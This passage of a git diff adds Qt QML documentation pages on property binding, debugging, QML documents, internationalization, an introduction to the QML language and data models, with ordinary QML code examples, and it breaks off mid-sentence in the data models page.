style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1" + d="M 126.2,295.64284 C 126.2,352.16567 126.2,352.16567 126.2,352.16567" + id="path2768" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1" + d="M 169.05321,308.25967 C 112.53038,308.25967 112.53038,308.25967 112.53038,308.25967" + id="path2770" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1" + d="M 169.08024,339.77238 C 112.55741,339.77238 112.55741,339.77238 112.55741,339.77238" + id="path2772" /> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial Black" + x="115.2857" + y="303.60583" + id="text2774"><tspan + sodipodi:role="line" + id="tspan2776" + x="115.2857" + y="303.60583">1</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="137.19142" + y="303.60583" + id="text2782"><tspan + sodipodi:role="line" + id="tspan2784" + x="137.19142" + y="303.60583" + style="font-family:Arial Black">2</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial Black" + x="161.56842" + y="303.45935" + id="text2786"><tspan + sodipodi:role="line" + id="tspan2788" + x="161.56842" + y="303.45935">3</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="114.72613" + y="327.00702" + id="text2790"><tspan + sodipodi:role="line" + id="tspan2792" + x="114.72613" + y="327.00702" + style="font-family:Arial Black">4</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="137.12404" + y="326.86053" + id="text2794"><tspan + sodipodi:role="line" + id="tspan2796" + x="137.12404" + y="326.86053" + style="font-family:Arial Black">5</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="161.49518" + y="326.86053" + id="text2798"><tspan + sodipodi:role="line" + id="tspan2800" + x="161.49518" + y="326.86053" + style="font-family:Arial Black">6</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="114.70855" + y="351.25809" + id="text2802"><tspan + sodipodi:role="line" + id="tspan2804" + x="114.70855" + y="351.25809" + style="font-family:Arial Black">7</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="137.08595" + y="351.1116" + id="text2806"><tspan + sodipodi:role="line" + id="tspan2808" + x="137.08595" + y="351.1116" + style="font-family:Arial Black">8</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="161.58307" + y="351.1116" + id="text2810"><tspan + sodipodi:role="line" + id="tspan2812" + x="161.58307" + y="351.1116" + style="font-family:Arial Black">9</tspan></text> + </g> +</svg> diff --git a/doc/src/declarative/pics/shadow_example.png b/doc/src/declarative/pics/shadow_example.png Binary files differnew file mode 100644 index 0000000..6214620 --- /dev/null +++ b/doc/src/declarative/pics/shadow_example.png diff --git a/doc/src/declarative/pics/spacing_a.png b/doc/src/declarative/pics/spacing_a.png Binary files differnew file mode 100644 index 0000000..c0fe895 --- /dev/null +++ b/doc/src/declarative/pics/spacing_a.png diff --git a/doc/src/declarative/pics/spacing_b.png b/doc/src/declarative/pics/spacing_b.png Binary files differnew file mode 100644 index 0000000..24cf640 --- /dev/null +++ b/doc/src/declarative/pics/spacing_b.png diff --git a/doc/src/declarative/pics/squish-transform.png b/doc/src/declarative/pics/squish-transform.png Binary files differnew file mode 100644 index 0000000..0eb848e --- /dev/null +++ b/doc/src/declarative/pics/squish-transform.png diff --git a/doc/src/declarative/pics/squish.png b/doc/src/declarative/pics/squish.png Binary files differnew file mode 100644 index 0000000..73bf292 --- /dev/null +++ b/doc/src/declarative/pics/squish.png diff --git a/doc/src/declarative/pics/switch-example.gif b/doc/src/declarative/pics/switch-example.gif Binary files differnew file mode 100644 index 0000000..3d6582f --- /dev/null +++ b/doc/src/declarative/pics/switch-example.gif diff --git a/doc/src/declarative/pics/trivialListView.png b/doc/src/declarative/pics/trivialListView.png Binary files differnew file mode 100644 index 0000000..dc5c6b3 --- /dev/null +++ b/doc/src/declarative/pics/trivialListView.png diff --git a/doc/src/declarative/pics/verticalpositioner_example.png b/doc/src/declarative/pics/verticalpositioner_example.png Binary files differnew file mode 100644 index 0000000..458dc7f --- /dev/null +++ b/doc/src/declarative/pics/verticalpositioner_example.png diff --git a/doc/src/declarative/pics/verticalpositioner_transition.gif b/doc/src/declarative/pics/verticalpositioner_transition.gif Binary files differnew file mode 100644 index 0000000..ed61adb --- /dev/null +++ b/doc/src/declarative/pics/verticalpositioner_transition.gif diff --git a/doc/src/declarative/pics/webview.png b/doc/src/declarative/pics/webview.png Binary files differnew file mode 100644 index 0000000..0d24586 --- /dev/null +++ b/doc/src/declarative/pics/webview.png diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc new file mode 100644 index 0000000..02f9868 --- /dev/null +++ b/doc/src/declarative/propertybinding.qdoc @@ -0,0 +1,108 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page propertybinding.html +\title Property Binding + +Property binding is a declarative way of specifying the value of a property. Binding allows +a property's value to be expressed as an JavaScript expression that defines the value relative +to other property values or data accessible in the application. The property value is +automatically kept up to date if the other properties or data values change. + +Property bindings are created implicitly in QML whenever a property is assigned an JavaScript +expression. The following QML uses two property bindings to connect the size of the rectangle +to that of \c otherItem. + +\code +Rectangle { + width: otherItem.width + height: otherItem.height +} +\endcode + +QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be +used as a property binding. Bindings can access object properties, make function calls and even +use builtin JavaScript objects like \e {Date} and \e {Math}. Assigning a constant value to a +property can even be thought of as a binding - afterall, a constant is a valid JavaScript +expression! Here are some examples of more complex bindings: + +\code +Rectangle { + function calculateMyHeight() { + return Math.max(otherItem.height, thirdItem.height); + } + + anchors.centerIn: parent + width: Math.min(otherItem.width, 10) + height: calculateMyHeight() + color: { if (width > 10) "blue"; else "red" } +} +\endcode + +Being JavaScript expressions, bindings are evaluated in a scope chain. The \l {QML Scope} +documentation covers the specifics of scoping in QML. + +\list +\o When does a binding not get updated? +\o Scope +\o Assigning a constant/other binding clears existing binding +\o Loops +\o Using model data +\endlist + +\section1 Binding Element + +The implicit binding syntax shown previously is easy to use and works perfectly for most uses +of bindings. In some advanced cases, it is necessary to create bindings explicitly using the +\l Binding element. + +For example, to bind a property exposed from C++ (\c system.brightness) to a value +coming from QML (\c slider.value), you could use the Binding element as follows: +\qml +Binding { + target: system + property: "brightness" + value: slider.value +} +\endqml +*/ + diff --git a/doc/src/declarative/qdeclarativedebugging.qdoc b/doc/src/declarative/qdeclarativedebugging.qdoc new file mode 100644 index 0000000..4ff7fde --- /dev/null +++ b/doc/src/declarative/qdeclarativedebugging.qdoc @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativedebugging.html +\title Debugging QML + +\section1 Logging + +\c console.log can be used to print debugging information to the console. For example: + +\qml +Rectangle { + width: 200; height: 200 + MouseArea { + anchors.fill: parent + onClicked: console.log("clicked") + } +} +\endqml + +\section1 Debugging Transitions + +When a transition doesn't look quite right, it can be helpful to view it in slow +motion to see what is happening more clearly. The \l {Qt Declarative UI Runtime}{qml} tool provides a +"Slow Down Animations" menu option to facilitate this. + +\section1 Debugging with Qt Creator + +\l{http://qt.nokia.com/products/developer-tools}{Qt Creator} provides built-in +support for QML debugging. Open a QML project in Creator and enter Debug mode, +or click the "Start Debugging" option from the menu, and Creator will +show QML debugging information and options for your application, including +object inspection, property monitoring and application frame-rate analysis. + +Creator can be used to debug both local and remote QML applications. To +enable remote debugging, start the \l {Qt Declarative UI Runtime}{qml} tool +on the remote device with a debugging port defined, like this: + +\code + QML_DEBUG_SERVER_PORT=3768 qml myqmlfile.qml +\endcode + +In Creator, open the project settings pane and set the server and port +details for the remote device, then start debugging. + +*/ diff --git a/doc/src/declarative/qdeclarativedocument.qdoc b/doc/src/declarative/qdeclarativedocument.qdoc new file mode 100644 index 0000000..cf3aae2 --- /dev/null +++ b/doc/src/declarative/qdeclarativedocument.qdoc @@ -0,0 +1,190 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativedocuments.html +\title QML Documents + +A QML document is a block of QML source code. QML documents generally correspond to files +stored on a disk or network resource, but can also be constructed directly from text data. + +Here is a simple QML document: + +\code +import Qt 4.7 + +Rectangle { + width: 240; height: 320; + + resources: [ + Component { + id: contactDelegate + Text { + text: modelData.firstName + " " + modelData.lastName + } + } + ] + + ListView { + anchors.fill: parent + model: contactModel + delegate: contactDelegate + } +} +\endcode + +QML documents are always encoded in UTF-8 format. + +A QML document always begins with one or more import statements. To prevent elements +introduced in later versions from affecting existing QML programs, the element types +available within a document are controlled by the imported QML \l {Modules}. That is, +QML is a \e versioned language. + +Syntactically a QML document is self contained; QML does \e not have a preprocessor that +modifies the document prior to presentation to the QML runtime. \c import statements +do not "include" code in the document, but instead instruct the QML runtime on how to +resolve type references found in the document. Any type reference present in a QML +document - such as \c Rectangle and \c ListView - including those made within an +\l {Inline JavaScript}{JavaScript block} or \l {Property Binding}s, are \e resolved based exclusively on the +import statements. QML does not import any modules by default, so at least one \c import +statement must be present or no elements will be available! + +A QML document defines a single, top-level \l {QDeclarativeComponent}{QML component}. A QML component +is a template that is interpreted by the QML runtime to create an object with some predefined +behaviour. As it is a template, a single QML component can be "run" multiple times to +produce several objects, each of which are said to be \e instances of the component. + +Once created, instances are not dependent on the component that created them, so they can +operate on independent data. Here is an example of a simple "button" component that is +instantiated four times, each with a different value for its \c text property. + +\table +\row +\o +\raw HTML +<table><tr><td> +\endraw +\code +import Qt 4.7 + +BorderImage { + property alias text: textElement.text + width: 100; height: 30; source: "images/toolbutton.sci" + + Text { + id: textElement + anchors.centerIn: parent + font.pointSize: 20 + style: Text.Raised + color: "white" + } +} +\endcode +\raw HTML +</td> <td> +\endraw +\image anatomy-component.png +\raw HTML +</td> </tr> </table> +\endraw +\endtable + +In addition to the top-level component that all QML documents define, documents may also +include additional \e inline components. Inline components are declared using the +\l Component element, as can be seen in the first example above. Inline components share +all the characteristics of regular top-level components and use the same \c import list as their +containing QML document. Components are one of the most basic building blocks in QML, and are +frequently used as "factories" by other elements. For example, the \l ListView element uses the +\c delegate component as the template for instantiating list items - each list item is just a +new instance of the component with the item specific data set appropriately. + +Like other \l {QML Elements}, the \l Component element is an object and must be assigned to a +property. \l Component objects may also have an object id. In the first example on this page, +the inline component is added to the \l Rectangle's \c resources list, and then +\l {Property Binding} is used to assign the \l Component to the \l ListView's \c delegate +property. While using property binding allows the \l Component object to be shared (for example, +if the QML document contained multiple \l ListView's with the same delegate), in this case the +\l Component could have been assigned directly to the \l ListView's \c delegate. The QML +language even contains a syntactic optimization when assigning directly to a component property +for this case where it will automatically insert the \l Component tag. + +These final two examples are behaviorally identical to the original document. + +\table +\row +\o +\code +import Qt 4.7 + +Rectangle { + width: 240; height: 320; + + ListView { + anchors.fill: parent + model: contactModel + delegate: Component { + Text { + text: modelData.firstName + " " + modelData.lastName + } + } + } +} +\endcode +\o +\code +import Qt 4.7 + +Rectangle { + width: 240; height: 320; + + ListView { + anchors.fill: parent + model: contactModel + delegate: Text { + text: modelData.firstName + " " + modelData.lastName + } + } +} +\endcode +\endtable + +\sa QDeclarativeComponent +*/ diff --git a/doc/src/declarative/qdeclarativei18n.qdoc b/doc/src/declarative/qdeclarativei18n.qdoc new file mode 100644 index 0000000..0a48dd9 --- /dev/null +++ b/doc/src/declarative/qdeclarativei18n.qdoc @@ -0,0 +1,95 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativei18n.html +\title QML Internationalization + +\section1 Overview + +Strings in QML can be marked for translation using the qsTr(), qsTranslate(), +QT_TR_NOOP(), and QT_TRANSLATE_NOOP() functions. + +For example: +\qml +Text { text: qsTr("Pictures") } +\endqml + +These functions are standard QtScript functions; for more details see +QScriptEngine::installTranslatorFunctions(). + +QML relies on the core internationalization capabilities provided by Qt. These +capabilities are described more fully in: +\list +\o \l {Internationalization with Qt} +\o \l {Qt Linguist Manual} +\endlist + +You can test a translation with the \l {Qt Declarative UI Runtime}{qml} tool using the -translation option. + +\section1 Example + +First we create a simple QML file with text to be translated. The string +that needs to be translated is enclosed in a call to \c qsTr(). + +hello.qml: +\qml +import Qt 4.7 + +Rectangle { + width: 200; height: 200 + Text { text: qsTr("Hello"); anchors.centerIn: parent } +} +\endqml + +Next we create a translation source file using lupdate: +\code +lupdate hello.qml -ts hello.ts +\endcode + +Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide +a translation and create the release file \c hello.qml. + +Finally, we can test the translation: +\code +qml -translation hello.qm hello.qml +\endcode +*/ diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc new file mode 100644 index 0000000..4d05a8c --- /dev/null +++ b/doc/src/declarative/qdeclarativeintro.qdoc @@ -0,0 +1,351 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativeintroduction.html +\title Introduction to the QML language + +\tableofcontents + +QML is a declarative language designed to describe the user interface of a +program: both what it looks like, and how it behaves. In QML, a user +interface is specified as a tree of objects with properties. + +This introduction is meant for those with little or no programming +experience. JavaScript is used as a scripting language in QML, so you may want +to learn a bit more about it (\l{JavaScript: The Definitive Guide}) before diving +deeper into QML. It's also helpful to have a basic understanding of other web +technologies like HTML and CSS, but it's not required. + +\section1 Basic QML Syntax + +QML looks like this: + +\code +Rectangle { + width: 200 + height: 200 + color: "white" + Image { + source: "pics/logo.png" + anchors.centerIn: parent + } +} +\endcode + +Objects are specified by their type, followed by a pair of braces. Object +types always begin with a capital letter. In the above example, there are +two objects, a \l Rectangle, and an \l Image. Between the braces, we can specify +information about the object, such as its properties. + +Properties are specified as \c {property: value}. In the above example, we +can see the Image has a property named \c source, which has been assigned the +value \c "pics/logo.png". The property and its value are separated by a colon. + +Properties can be specified one-per-line: + +\code +Rectangle { + width: 100 + height: 100 +} +\endcode + +or you can put multiple properties on a single line: + +\code +Rectangle { width: 100; height: 100 } +\endcode + +When multiple property/value pairs are specified on a single line, they +must be separated by a semicolon. + +\section1 Expressions + +In addition to assigning values to properties, you can also assign +expressions written in JavaScript. + +\code +Rotation { + angle: 360 * 3 +} +\endcode + +These expressions can include references to other objects and properties, in which case +a \e binding is established: when the value of the expression changes, the property the +expression has been assigned to is automatically updated to that value. + +\code +Item { + Text { + id: text1 + text: "Hello World" + } + Text { + id: text2 + text: text1.text + } +} +\endcode + +In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed, +\c text2 is automatically changed to the same value. + +Note that to refer to other objects, we use their \e id values. (See below for more +information on the \e id property.) + +\section1 QML Comments + +Commenting in QML is similar to JavaScript. +\list +\o Single line comments start with // and finish at the end of the line. +\o Multiline comments start with /* and finish with *\/ +\endlist + +\quotefile doc/src/snippets/declarative/comments.qml + +Comments are ignored by the engine. The are useful for explaining what you +are doing: for referring back to at a later date, or for others reading +your QML files. + +Comments can also be used to prevent the execution of code, which is +sometimes useful for tracking down problems. + +\code +Text { + text: "Hello world!" + //opacity: 0.5 +} +\endcode + +In the above example, the Text object will have normal opacity, since the +line opacity: 0.5 has been turned into a comment. + +\section1 Properties +\target intro-properties + +\section2 Property naming + +Properties begin with a lowercase letter (with the exception of \l{Attached Properties}). + +\section2 Property types + +QML supports properties of many types (see \l{QML Basic Types}). The basic types include int, +real, bool, string, color, and lists. + +\code +Item { + x: 10.5 // a 'real' property + ... + state: "details" // a 'string' property + focus: true // a 'bool' property +} +\endcode + +QML properties are what is known as \e typesafe. That is, they only allow you to assign a value that +matches the property type. For example, the \c x property of item is a real, and if you try to assign +a string to it you will get an error. + +\badcode +Item { + x: "hello" // illegal! +} +\endcode + +\section3 The \c id property + +Each object can be given a special unique property called an \e id. Assigning an id enables the object +to be referred to by other objects and scripts. + +The first Rectangle element below has an \e id, "myRect". The second Rectange element defines its +own width by referring to \tt myRect.width, which means it will have the same \tt width +value as the first Rectangle element. + +\code +Item { + Rectangle { + id: myRect + width: 100 + height: 100 + } + Rectangle { + width: myRect.width + height: 200 + } +} +\endcode + +Note that an \e id must begin with a lower-case letter or an underscore, and cannot contain characters other than letters, numbers and underscores. + + +\section2 List properties + +List properties look like this: + +\code +Item { + children: [ + Image {}, + Text {} + ] +} +\endcode + +The list is enclosed in square brackets, with a comma separating the +list elements. In cases where you are only assigning a single item to a +list, you can omit the square brackets: + +\code +Image { + children: Rectangle {} +} +\endcode + +\section2 Default properties + +Each object type can specify one of its list or object properties as its default property. +If a property has been declared as the default property, the property tag can be omitted. + +For example this code: +\code +State { + changes: [ + PropertyChanges {}, + PropertyChanges {} + ] +} +\endcode + +can be simplified to: + +\code +State { + PropertyChanges {} + PropertyChanges {} +} +\endcode + +because \c changes is the default property of the \c State type. + +\section2 Grouped Properties +\target dot properties + +In some cases properties form a logical group and use a 'dot' or grouped notation +to show this. + +Grouped properties can be written like this: +\qml +Text { + font.pixelSize: 12 + font.bold: true +} +\endqml + +or like this: +\qml +Text { + font { pixelSize: 12; bold: true } +} +\endqml + +In the element documentation grouped properties are shown using the 'dot' notation. + +\section2 Attached Properties +\target attached-properties + +Some objects attach properties to another object. Attached Properties +are of the form \e {Type.property} where \e Type is the type of the +element that attaches \e property. + +For example: +\code +Component { + id: myDelegate + Text { + text: "Hello" + color: ListView.isCurrentItem ? "red" : "blue" + } +} +ListView { + delegate: myDelegate +} +\endcode + +The \l ListView element attaches the \e ListView.isCurrentItem property +to each delegate it creates. + +Another example of attached properties is the \l Keys element which +attaches properties for handling key presses to +any visual Item, for example: + +\code +Item { + focus: true + Keys.onSelectPressed: console.log("Selected") +} +\endcode + +\section2 Signal Handlers + +Signal handlers allow actions to be taken in reponse to an event. For instance, +the \l MouseArea element has signal handlers to handle mouse press, release +and click: + +\code +MouseArea { + onPressed: console.log("mouse button pressed") +} +\endcode + +All signal handlers begin with \e "on". + +Some signal handlers include an optional parameter, for example +the MouseArea onPressed signal handler has a \e mouse parameter: + +\code +MouseArea { + acceptedButtons: Qt.LeftButton | Qt.RightButton + onPressed: if (mouse.button == Qt.RightButton) console.log("Right mouse button pressed") +} +\endcode + + +*/ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc new file mode 100644 index 0000000..d8b2a5d --- /dev/null +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -0,0 +1,363 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativemodels.html +\target qmlmodels +\title Data Models + +Some QML Items use Data Models to provide the data to be displayed. +These items typically require a \e delegate component that +creates an instance for each item in the model. Models may be static, or +have items modified, inserted, removed or moved dynamically. + +Data is provided to the delegate via named data roles which the +delegate may bind to. The roles are exposed as properties of the +\e model context property, though this property is set as a default property +of the delegate so, unless there is a naming clash with a +property in the delegate, the roles are usually accessed unqualified. The +example below would have a clash between the \e color role of the model and +the \e color property of the Rectangle. The clash is avoided by referencing +the \e color property of the model by its full name: \e model.color. + +\code +ListModel { + id: myModel + ListElement { color: "red" } + ListElement { color: "green" } +} + +Component { + id: myDelegate + Rectangle { + width: 20; height: 20 + color: model.color + } +} +\endcode + +A special \e index role containing the index of the item in the model +is also available. + +\e Note: the index role will be set to -1 if the item is removed from +the model. If you bind to the index role, be sure that the logic +accounts for the possibility of index being -1, i.e. that the item +is no longer valid. Usually the item will shortly be destroyed, but +it is possible to delay delegate destruction in some views via a delayRemove +attached property. + +Models that do not have named roles will have the data provided via +the \e modelData role. The \e modelData role is also provided for +Models that have only one role. In this case the \e modelData role +contains the same data as the named role. + +There are a number of QML elements that operate using data models: + +\list +\o ListView +\o GridView +\o PathView +\o \l Repeater +\endlist + +QML supports several types of data model, which may be provided by QML +or C++ (via QDeclarativeContext::setContextProperty(), for example). + +\section1 QML Data Models + +\section2 ListModel + +ListModel is a simple hierarchy of elements specified in QML. The +available roles are specified by the \l ListElement properties. + +\code +ListModel { + id: fruitModel + ListElement { + name: "Apple" + cost: 2.45 + } + ListElement { + name: "Orange" + cost: 3.25 + } + ListElement { + name: "Banana" + cost: 1.95 + } +} +\endcode + +The above model has two roles, \e name and \e cost. These can be bound +to by a ListView delegate, for example: + +\code +Component { + id: fruitDelegate + Row { + Text { text: "Fruit: " + name } + Text { text: "Cost: $" + cost } + } +} +ListView { + model: fruitModel + delegate: fruitDelegate +} +\endcode + + +\section2 XmlListModel + +XmlListModel allows construction of a model from an XML data source. The roles +are specified via the \l XmlRole element. + +The following model has three roles, \e title, \e link and \e description: +\code +XmlListModel { + id: feedModel + source: "http://rss.news.yahoo.com/rss/oceania" + query: "/rss/channel/item" + XmlRole { name: "title"; query: "title/string()" } + XmlRole { name: "link"; query: "link/string()" } + XmlRole { name: "description"; query: "description/string()" } +} +\endcode + + +\section2 VisualItemModel + +VisualItemModel allows QML items to be provided as a model. This model contains +both the data and delegate (its child items). This model does not provide any roles. + +\code + VisualItemModel { + id: itemModel + Rectangle { height: 30; width: 80; color: "red" } + Rectangle { height: 30; width: 80; color: "green" } + Rectangle { height: 30; width: 80; color: "blue" } + } + + ListView { + anchors.fill: parent + model: itemModel + } +\endcode + +Note that in the above example there is no delegate required. +The items of the model itself provide the visual elements that +will be positioned by the view. + + +\section1 C++ Data Models + +\section2 QAbstractItemModel + +QAbstractItemModel provides the roles set via the QAbstractItemModel::setRoleNames() method. +The default role names set by Qt are: + +\table +\header +\o Qt Role +\o QML Role Name +\row +\o Qt::DisplayRole +\o display +\row +\o Qt::DecorationRole +\o decoration +\endtable + +QAbstractItemModel presents a heirachy of tables. Views currently provided by QML +can only display list data. In order 